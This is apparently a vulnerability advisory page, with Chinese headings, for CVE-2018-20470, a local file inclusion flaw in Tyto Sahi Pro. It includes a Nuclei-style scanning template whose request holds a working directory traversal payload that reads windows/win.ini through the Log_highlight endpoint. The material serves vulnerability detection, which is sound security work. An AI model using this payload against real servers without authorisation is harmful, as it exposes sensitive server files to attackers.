CVE-2018-20470: Tyto Sahi pro 7.x/8.x - Local File Inclusion

日期: 2025-08-01 | 影响软件: Tyto Sahi pro | POC: 已公开

漏洞描述

Tyto Sahi Pro versions through 7.x.x and 8.0.0 are susceptible to a local file inclusion vulnerability in the web reports module which can allow an outside attacker to view contents of sensitive files.

PoC代码[已公开]

id: CVE-2018-20470

info:
  name: Tyto Sahi pro 7.x/8.x - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    Tyto Sahi Pro versions through 7.x.x and 8.0.0 are susceptible to a local file inclusion vulnerability in the web reports module which can allow an outside attacker to view contents of sensitive files.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Tyto Sahi pro.
  reference:
    - https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/
    - http://packetstormsecurity.com/files/153330/Sahi-Pro-7.x-8.x-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20470
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20470
    cwe-id: CWE-22
    epss-score: 0.88207
    epss-percentile: 0.99463
    cpe: cpe:2.3:a:sahipro:sahi_pro:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sahipro
    product: sahi_pro
  tags: cve2018,cve,lfi,packetstorm,sahipro

http:
  - method: GET
    path:
      - "{{BaseURL}}/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022062ba6d5f23bfd35e953b149095ebe4b51fab5d225f2d925e3dfaa94888f69dc8022063ea2cb539b3e51d77b1b0204a8a9203cf5006a1fccf023dd0276bba669ecd06:922c64590222798bb761d5b6d8e72950